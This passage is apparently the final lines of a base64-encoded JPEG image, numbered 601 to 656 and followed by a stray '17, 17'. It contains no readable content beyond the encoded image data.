601 | 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
657 |
658 |
659 |
660 | 17, 17
661 |
662 |
--------------------------------------------------------------------------------